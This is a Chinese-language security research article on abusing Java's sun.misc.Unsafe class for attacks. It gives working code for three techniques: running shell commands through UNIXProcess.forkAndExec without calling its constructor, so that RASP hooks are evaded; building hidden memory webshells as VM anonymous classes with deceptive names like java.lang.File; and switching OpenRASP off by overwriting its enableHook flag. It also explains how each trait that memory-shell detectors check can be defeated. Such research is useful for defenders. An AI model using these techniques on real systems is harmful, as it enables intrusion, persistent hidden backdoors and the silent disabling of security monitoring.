作者:Glassy
原文鏈接:https://g1asssy.com/2021/12/09/unsafe/
UnSafe簡介
基礎概念
java和C語言相比有一個很大的區別,便是java沒有指針,無需進行內存空間的操作(其中包含了內存的分配、內存的回收等等),這樣大大簡化了Java語言編寫的難度,但與此同時,也導致Java語言失去了很多的靈活性。而UnSafe類的出現,便是為了彌補這種便利性的缺失,使Java也具備內存管理能力,但一旦操作不當,很容易造成內存泄漏等問題,這也是這個class給定義為UnSafe的原因。
關鍵API
下面給出的是筆者覺得比較好用的利用的API。
//將引用值存儲到給定的Java變量中,根據變量的類型不同還有putBoolean、putInt等等
public native void putObject(Object o, long offset, Object x);
//返回給定的非靜態屬性在它的類的存儲分配中的位置,往往和putXXX一起使用
public native long objectFieldOffset(Field f);
//返回給定的靜態屬性在它的類的存儲分配中的位置,往往和putXXX一起使用
public native long staticFieldOffset(Field f);
//生產VM Anonymous Class,注意這個java中常說的匿名類并不是同一概念,該方法的出現是為了為java提供動態編譯特性,在Lambda表達式代碼中使用較多,由該函數生產的Class有一個很重要的特性:這個類被創建之后并不會丟到上SystemDictonary里,也就是說我們通過正常的類查找,比如Class.forName等api是無法去查到這個類是否被定義過的。
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);
//通過Class對象創建一個類的實例,不需要調用其構造函數、初始化代碼、JVM安全檢查等等。同時,它抑制修飾符檢測,也就是即使構造器是private修飾的也能通過此方法實例化。
public native Object allocateInstance(Class<?> cls) throws InstantiationException;
如何獲取UnSafe
Unsafe類使用了單例模式,需要通過一個靜態方法getUnsafe()來獲取。但Unsafe類做了限制,如果是普通的調用的話,它會拋出一個SecurityException異常;只有由主類加載器加載的類才能調用這個方法。
目前大部分UnSafe的使用者都會使用反射的方式來獲取UnSafe的實例,代碼如下:
public static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
實戰講解
更深層的命令執行
隨著RASP的發展,JNI的利用不斷的被提上討論范圍,就命令執行這種利用而言,外部流出的大部分JNI的利用都是需要依賴第三方庫的,但實際上,就linux來看,Runtime.getRuntime().exec() 本身的最底層就是一個JNI函數,
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)
那么為什么我們討論JNI利用的時候,不去直接反射調用forkAndExec函數呢,很重要的一個問題就是,這個函數不是靜態方法,需要生成類實例,我們就需要往上層去調用UNIXProcess的構造方法去生成實例,而這樣這種利用方式便不再是JNI的調用了,因為你調用了JAVA層的構造函數,這便是RASP產品可以觸及到的領域了,細心觀察也能發現目前大部分RASP產品都把命令執行功能的檢測放到了UNIXProcess的構造方法上。
但是有了UnSafe的allocateInstance函數,一切就會變得簡單起來,它可以在不調用UNIXProcess構造方法的前提下生成實例,并且由于allocateInstance本身也是native函數,那么實際上我們整個命令執行的關鍵點上都是通過JNI來完成了,可以完美避開RASP的防御,下面給出代碼示例,
String cmd = "open /System/Applications/Calculator.app/";
int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);
更隱蔽的內存馬
內存馬問題一向是安全產品中一個比較頭疼的問題,一旦再在通信流量上進行了加密處理,那么無論是WAF(加密流量不可解)還是主機防御(木馬存在于內存中不落盤)產品都比較難以去發現它。
但隨著安全圈大佬們的深入研究,漸漸還是給出了一個較為可行的方案:通過Java Instrumentation進入到JVM內存之中,對JVM所有的加載的可能是木馬的Class進行分析,一旦匹配到了較為明顯的內存馬特征,便對內存中的這個Class進行刪除或則還原。目前比較常見的內存馬特征有以下幾種:
1、class的名字是否包含常見的惡意類名稱
2、加載該class的classloader是否是危險的classloader,如TransletClassLoader或apache becl的classloader等等。
3、該class是否有落盤 -----該條屬于明顯特征
4、class中是否包含命令執行的惡意代碼
而通過defineAnonymousClass生成的VM Anonymous Class具備如下特征:
1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不會發生任何問題,java的動態編譯特性將會在內存中生成名如 java.lang.File/13063602@38ed5306的class。 ---將會使類名極具欺騙性
2、該class的classloader為null。 ---在java中classloader為null的為來自BootstrapClassLoader的class,往往會被認定為jdk自帶class
3、在JVM中存在大量動態編譯產生的class(多為lamada表達式生成),這種class均不會落盤,所以不落盤并不會屬于異常特征。
4、無法通過Class.forName()獲取到該class的相關內容。 ---嚴重影響通過反射排查該類安全性的檢測工具
5、在部分jdk版本中,VM Anonymous Class甚至無法進行restransform。 ---這也就意味著我們無法通過attach API去修復這個惡意類
6、該class在transform中的className將會是它的模板類名。 ---這將會對那些通過attach方式檢測內存馬的工具造成極大的誤導性

從現階段內存馬的檢測模式為參考,可以發現VM Anonymous Class的特性將會大大影響到它的檢測,從而形成更加隱蔽且難以處理的內存馬。下面給出一段生成VM Anonymous Class的示例代碼,
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("java.lang.File");
//這里可以對內存馬的class文件進行定制
byte[] data = ctClass.toBytecode();
Class memClass = getAnonymousMemShell(data);
Object memShellObj = memClass.newInstance();
//在這里可以把內存馬的實例注入到內存中
String className = memClass.getName();
//可以打印一下className,發現其類名極具欺騙性
System.out.println(className);
//這里可以通過Class.forName嘗試查找匿名類,會拋出異常
Class.forName(className);
}
public static Class getAnonymousMemShell(byte[] data){
Unsafe unsafe = Utils.getUnsafe();
return unsafe.defineAnonymousClass(File.class, data, null);
}
突破反射防御機制
近段時間,RASP攻防開始被不斷聊起,關于RASP攻防,有一個基于反射的利用方式的提出具備十分強的殺傷性,其基本思路便是一旦攻擊者拿到了一個代碼執行權限,那么他便可以通過反射的方式取得RASP運行在內存中的開關變量(多為boolean或者AtomicBoolean類型),并把它由true修改為false,就可以使RASP得的防護完全失效。注意,開關變量只是其中一個最具代表性的思路,我們當然有更多的方法去破壞RASP的運行模式,如置空檢測邏輯代碼(如果RASP使用了js、lua等別的引擎),置空黑名單、添加白名單等
正是由于反射可能會造成較大的危害,不少RASP便有了惡意反射調用模塊,jdk本身也有一個sun.reflect.Reflection來限制一些不安全的反射的調用,那么這個時候UnSafe模塊便可以通過直接操作內存從而繞過代碼層對于惡意反射調用的防御。示例代碼如下,
反射修改openRASP的開關變量,將openRASP檢測開關置為false,從而使openRASP完全失效。
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
} catch (Exception e) {
}
總結
由于UnSafe的大部分關鍵操作都是直接通過JNI去實現的,所以UnSafe的相關危險行為也都是RASP難以防護到的。而UnSafe相關的攻擊代碼目前也比較少,相關函數的指紋也不在大部分內容檢測軟件中,所以現階段對于不少主機防御產品也能起到不小的作用。
最后在末尾附上一張UnSafe功能介紹圖。
注:該圖片系網上找的,未能發現圖片源頭,在此提前和作者道個歉。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1785/
暫無評論